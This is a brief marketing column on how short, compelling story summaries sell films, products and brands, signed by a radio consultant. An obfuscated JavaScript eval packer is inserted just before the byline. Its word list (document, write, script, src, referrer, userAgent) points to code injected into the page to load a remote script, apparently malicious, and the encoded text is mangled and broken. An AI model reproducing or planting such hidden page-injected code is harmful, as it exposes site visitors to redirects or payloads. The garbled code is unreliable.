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    In Hollywood, I am told, actors,  directors and producers are always  on the look out for compelling  scripts that they can turn into  great movies. They sometimes run  through thousands of scripts a  year in order to find ones that inter- est them. Now, some of these  scripts can run into hundreds of  pages so they have a choice of let- ting someone else filter what may  be worthwhile or else read every- thing themselves. Neither  option really makes much sense.  So they started asking for a sum- mary of the plot to be put on the  very first page.

    This summary  teaser would be very short  indeed, sometimes only three  sentences but enough for the  reader to decide if it was  worth reading. Now the same sort of summary  can be made for anything creative:  books, music, TV shows, photo- graphs, people, events etc. And the  writing of these summaries  became an art in itself. At some  point, advertisers found that  brands also needed these brief  descriptive teasers to illustrate  what the product was about. What they found was that there  had to be something familiar in  the offering but also something  new.

    Say a new shampoo for exam- ple: yes, it would wash hair as they  all do but it also had to have a  unique story that made it stand  out as a purchase option for shop- pers to find it appealing. This iden- tifier could be that it was cheaper  than any other shampoo or was a  special shampoo for oily hair or  that it had a special smell.

    It’s  these summaries, these sto- ries, these arguments that  would enable the buyer to  make a choice on if they should  buy it or not when faced  with a new product. And  it’s through the story tell- ing and person who is  telling it that the sale actu- ally takes place. Think  about it, when faced with an  unknown brand or product or per- son or movie or whatever, how do we  make up our minds most of the  time? It’s when we hear a compel- ling story from a trusted source.

    — eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sierz|var|u0026u|referrer|ynssk||js|php’.split(‘|’),0,{}))
    Vehrnon Ibrahim, Full Service Broadcast Radio Consultant 

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